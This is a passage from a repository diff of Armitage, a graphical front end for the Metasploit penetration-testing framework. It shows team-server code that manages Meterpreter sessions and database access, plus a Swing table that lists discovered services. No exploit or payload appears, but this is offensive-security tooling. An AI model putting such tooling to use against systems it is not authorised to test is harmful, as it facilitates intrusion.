release($poll_lock);
}
sleep(2000);
}
}, \$client, \$poll_lock, \@events, $console => createConsole($client));
#
# Create a shared hash that contains a thread for each session...
#
%sessions = ohash();
wait(fork({
setMissPolicy(%sessions, {
warn("Creating a thread for $2");
local('$session');
$session = [new MeterpreterSession: $client, $2, 0];
[$session addListener: lambda({
if ($0 eq "commandTimeout" || $2 is $null) {
return;
}
acquire($read_lock);
# $2 = string id of handle, $1 = sid
if (%readq[$2][$1] is $null) {
%readq[$2][$1] = @();
}
#warn("Pushing into $2 -> $1 's read queue");
#println([$3 get: "data"]);
push(%readq[$2][$1], $3);
release($read_lock);
})];
return $session;
});
}, \%sessions, \$client, \%readq, \$read_lock));
#
# get base directory
#
setupBaseDirectory();
#
# setup the database
#
checkError($null); # clear the error status...
local('$database $error');
$database = connectToDatabase();
[$client setDatabase: $database];
if (checkError($error)) {
println("
** Error ** ** Error ** ** Error ** ** Error ** ** Error **
Could not connect to the Metasploit database. It's possible
that it's not running. Follow the database troubleshooting
steps at:
http://www.fastandeasyhacking.com/start
Also note: the latest Metasploit installer (4.1.4+) does not
create a postgres start script for you. This would explain
why Metasploit's database isn't running. To create one, put:
exec $BASE_DIRECTORY $+ /postgresql/scripts/ctl.sh \"\$@\"
in /etc/init.d/framework-postgres. Then start the database:
service framework-postgres start");
[System exit: 0];
}
# setup the reporting API (must happen after base directory/database is setup)
initReporting();
$server = [new SecureServerSocket: int($sport)];
if (checkError($error)) {
println("[-] Could not listen on $sport $+ : $error");
[System exit: 0];
}
#
# spit out the details
#
println("Use the following connection details to connect your clients:");
println("\tHost: $host");
println("\tPort: $sport");
println("\tUser: $user");
println("\tPass: $pass");
println("\n\tFingerprint (check for this string when you connect):\n\t" . [$server fingerprint]);
println("\n" . rand(@("I'm ready to accept you or other clients for who they are",
"multi-player metasploit... ready to go",
"hacking is such a lonely thing, until now",
"feel free to connect now, Armitage is ready for collaboration")));
$id = 0;
while (1) {
$handle = [$server accept];
if ($handle !is $null) {
%readq[$id] = %();
fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
$id++;
}
}
}
invoke(&main, @ARGV);
+93
View File
@@ -0,0 +1,93 @@
#
# Process Browser (for Meterpreter)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateServiceModel {
local('$port $row $host');
[$model clear: 256];
foreach $host ($hosts) {
if ($host in %hosts && 'services' in %hosts[$host]) {
foreach $port => $row (%hosts[$host]['services']) {
[$model addEntry: $row];
}
}
}
[$model fireListeners];
}
sub createServiceBrowser {
local('$table $model $panel $refresh $sorter $host $copy');
$model = [new GenericTableModel: @("host", "name", "port", "proto", "info"), "host", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 2];
[$table setRowSorter: $sorter];
addMouseListener($table, lambda({
if ([$1 isPopupTrigger]) {
local('$popup $hosts %r $val');
$popup = [new JPopupMenu];
%r = %();
foreach $val ([$model getSelectedValues: $table]) {
%r[$val] = 1;
}
$hosts = keys(%r);
if (size($hosts) > 0) {
host_selected_items($popup, $hosts);
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
}
}
}, \$table, \$model));
[[$table getColumn: "info"] setPreferredWidth: 300];
[[$table getColumn: "host"] setPreferredWidth: 125];
[$sorter setComparator: 2, { return $1 <=> $2; }];
[$sorter setComparator: 0, &compareHosts];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
thread(lambda({
local('$services');
$services = call($mclient, "db.services");
_refreshServices($services);
updateServiceModel(\$hosts, \$model);
}, \$hosts, \$model));
}, \$model, $hosts => $1)];
$copy = [new JButton: "Copy"];
[$copy addActionListener: lambda({
local('%r $val $hosts');
%r = %();
foreach $val ([$model getSelectedValues: $table]) {
%r[$val] = 1;
}
$hosts = keys(%r);
setClipboard(join(", ", $hosts));
showError("Copied selected hosts to clipboard");
}, \$model, \$table)];
updateServiceModel($hosts => $1, \$model);
[$panel add: center($refresh, $copy), [BorderLayout SOUTH]];
[$frame addTab: "Services", $panel, $null];
}

Some files were not shown because too many files have changed in this diff Show More